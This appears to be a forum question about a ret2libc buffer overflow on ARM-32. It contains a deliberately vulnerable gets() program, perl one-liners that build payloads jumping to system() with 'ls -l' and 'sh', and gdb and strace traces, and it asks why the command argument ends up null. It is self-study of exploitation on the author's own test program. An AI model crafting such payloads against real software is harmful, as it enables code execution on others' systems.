In the spirit of gaining a deep understanding, I have read up and worked on some small hacks involving Buffer OverFlow (BOF) attacks, in particular, on an ARM-32 system, via the Ret2Libc style attack.
It all works quite well upto a point. The basic technique (experts can skip over all this of course): -deliberately use a "bad" api - gets() in the func foo() below - so that one can easily overflow it's buffer; we carefully pass a crafted buffer to the program:
perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
where 0x76e9ffac is the address of the 'system()' glibc function. (yes I also tried this with ASLR disabled).
Env: a) A Qemu-emulated ARM926EJ-S rev 5 (v5l) (ARM-32) running the 4.8.12-yocto-standard Linux kernel built with Yocto Poky!
b) a Raspberry Pi 3 Model B running Raspbian 8.
THE ISSUE: execution proceeds as expected, it does indeed enter the code of system(3); I have verified this by even single-stepping through the code (on the Yocto build with debug enabled).
The problem- the parameter being passed to do_system() is getting zeroed out [??]. I have further verified that this is indeed the case (by single-stepping and strace -ing it).
Pl see a sample run below on the R Pi and a Yocto-based system:
-i use a file (rpi_input3.bin) to feed the input, which basically is: "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"
The 'C' code arm_buf_vuln.c:
static void foo(void)
{
char local[12];
gets(local);
}
int main (int argc, char **argv)
{
foo();
exit (EXIT_SUCCESS);
}
Sample Session on the R Pi:
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x00010494 <+0>: push {r11, lr}
0x00010498 <+4>: add r11, sp, #4
0x0001049c <+8>: sub sp, sp, #16
0x000104a0 <+12>: sub r3, r11, #16
0x000104a4 <+16>: mov r0, r3
0x000104a8 <+20>: bl 0x1030c
0x000104ac <+24>: sub sp, r11, #4
0x000104b0 <+28>: pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin
Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000 0x76e9ffac 0x7efff600 0x00000001
0x7efff538: 0x00000000 0x76e7e294 0x76fa3000 0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c 0x0000006c 0x00000000 0x00000000
0x7efff52c: 0x76e9ffac 0x7efff600 0x00000001 0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
<< NOTE- at this point, the parameter to system() is correct! But, it actually gets nullified later >>
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0 0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1 0x000104b4 in foo ()
(gdb)
On a Yocto system, the strace output snippet:
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf << -v: verbose
-f: follow any children >>
./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL) = 0x21000
[...]
brk(NULL) = 0x21000
brk(0x43000) = 0x43000
read(0, "sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0x\220\217I", 4096) = 20 << this is the gets() !
reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797
<< the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
<unfinished ...> << strace -f takes effect – the child is being followed below >>
[pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
<< here: the parameter to execve() is null ! Hence, it fails >>
[pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
Why does the parameter get nullified? TIA!